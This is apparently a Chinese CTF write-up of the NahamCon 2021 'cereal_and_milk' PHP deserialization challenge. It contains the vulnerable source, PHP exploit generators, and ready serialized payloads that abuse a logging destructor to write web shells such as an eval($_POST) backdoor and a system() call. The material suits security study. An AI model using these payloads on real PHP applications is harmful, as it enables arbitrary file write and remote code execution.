由Nahamcon-2021-cereal_and_milk看php反序列化


Nahamcon-2021-cereal_and_milk

题目代码不难,但是wp的这句话吸引了我Now another quirk, do not copy the last },不去复制exp生成序列化字符串的最后一个}才能写马成功,遂来复现

补(3.18):经@feng师傅提醒,直接使用O:3:"log":2:{s:4:"logs";s:7:"pwn.php";s:7:"request";s:1:"a";}一样可以触发log,debug确实写入成功,但是本目录下未生成马。查资料发现由于apache的原因,析构函数会被其改变工作目录,马被写到php根目录下,本机是D:\Software\phpstudy_pro\Extensions\php\php7.3.4nts,本题做法是提前进入了析构函数,所以目录未变,当然如果知道绝对路径可以直接写,例如:O:3:"log":2:{s:4:"logs";s:52:"D:\Software\phpstudy_pro\WWW\cereal_and_milk\pwn.php";s:7:"request";s:27:"<?php system("ls -l ."); ?>";}

附上官方对析构函数的Note:

析构函数在脚本关闭时调用,此时所有的HTTP头信息已经发出。 脚本关闭时的工作目录有可能和在SAPI(如apache)中时不一样。

源码

index.php

<?php

include 'log.php';

class CerealAndMilk
{
    public $logs = "request-logs.txt";
    public $request = '';
    public $cereal = 'Captain Crunch';
    public $milk = '';


    public function processed_data($output)
    {
        echo "Deserilized data:<br> Coming soon.";
       # echo print_r($output);

    }

    public function cereal_and_milk()
    {
     echo $this->cereal . " is the best cereal btw.";
    }

}

$input = $_POST['serdata'];
$output = unserialize($input);

$app = new CerealAndMilk;
$app -> cereal_and_milk($output);

log.php

<?php

class log
{
    public function __destruct()
        {
            $request_log = fopen($this->logs , "a");
            fwrite($request_log, $this->request);
            fwrite($request_log, "\r\n");
            fclose($request_log);
        }
}

题解

log.php只有__destruct(),目标很明确,触发log类,控制其写入的文件名与文件内容来达到getshell,这题看着不太难,也并没有pop,仅仅一个反序列化即可搞定

先试着写一个exp:

<?php

include 'log.php';

class CerealAndMilk
{
    public $logs = "request-logs.txt";
    public $request = '';

	public function __construct()
	{
		$this->logs = "shell.php";
		$this->request = '<?php @eval($_POST["yq1ng"]);?>';
	}

}

echo serialize(new CerealAndMilk());

丢到输入框里面试试,post一下并没有生成马子,debug可以看到数据被成功反序列化了,并没有触发到log类

debug

这样的反序列化的确是我第一次见,看了wp才知道原来可以利用数组去触发,多说无益,看代码

<?php

class log
{
    public function __construct()
    {
        $this->logs = 'pwn.php';
        $this->request = '<?php system("ls -l ."); ?>';
    }
}

class CerealAndMilk
{
    public $logs = "request-logs.txt";
    public $request = '';
    public $cereal = 'Captain Crunch';
    public $milk = '';

    public function __construct()
    {
        $this->log[0] = new log();
        $this->cereal[0] = 'Frosties';
        $this->milk[0] = 'full';
        $this->log[1] = new log();
        $this->cereal[1] = 'Frosties';
        $this->milk[1] = 'full';
    }
}

$cer = new CerealAndMilk();
echo serialize($cer);
/*
output
O:13:"CerealAndMilk":5:{s:4:"logs";s:16:"request-logs.txt";s:7:"request";s:0:"";s:6:"cereal";s:14:"FFptain Crunch";s:4:"milk";s:2:"ff";s:3:"log";a:2:{i:0;O:3:"log":2:{s:4:"logs";s:7:"pwn.php";s:7:"request";s:27:"<?php system("ls -l ."); ?>";}i:1;O:3:"log":2:{s:4:"logs";s:7:"pwn.php";s:7:"request";s:27:"<?php system("ls -l ."); ?>";}}}
*/

不要复制最后一个},这样会导致反序列化成功,还是不能触发log。如果不复制最后一个}的话,在反序列化的时候

s:4:"logs";s:16:"request-logs.txt";s:7:"request";s:0:"";s:6:"cereal";s:14:"FFptain Crunch";s:4:"milk";s:2:"ff";这一段可以反序列化成功,但是由于反序列化数组s:3:"log";a:2:的时候,最后少了一个}导致数组不能成功反序列化,这会让php继续读取后面的字符串,看是否还有可以反序列化的点,最后返回false。说白了就是反序列化的套娃,前面不成功不影响后面的

pwn

可以看到成功触发了log,并生成了pwn.php,整个题目就是这样了

总结

套娃反序列化,PHP is the best language in the world


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
由[RCTF 2019]Nextphp学习phpinfo中的i信息收集及PHP7.4新特性-FFI 由[RCTF 2019]Nextphp学习phpinfo中的i信息收集及PHP7.4新特性-FFI
[RCTF 2019]Nextphp0x00 前言PHP7.4从js中吸取很多啊哈哈哈,参考php7.4核心新特性,简述两个好玩的新特性 PHP7.4的新特性—FFI,它允许开发者在PHP脚本中调用C函数并使用C数据类型。官方称之为dev
2021-03-18
下一篇 
ctfshow F5杯web(复现) ctfshow F5杯web(复现)
lastsward’s website eazy-unserialize & eazy-unserialize-revenge 迷惑行为大赏之盲注 Web逃离计划
  目录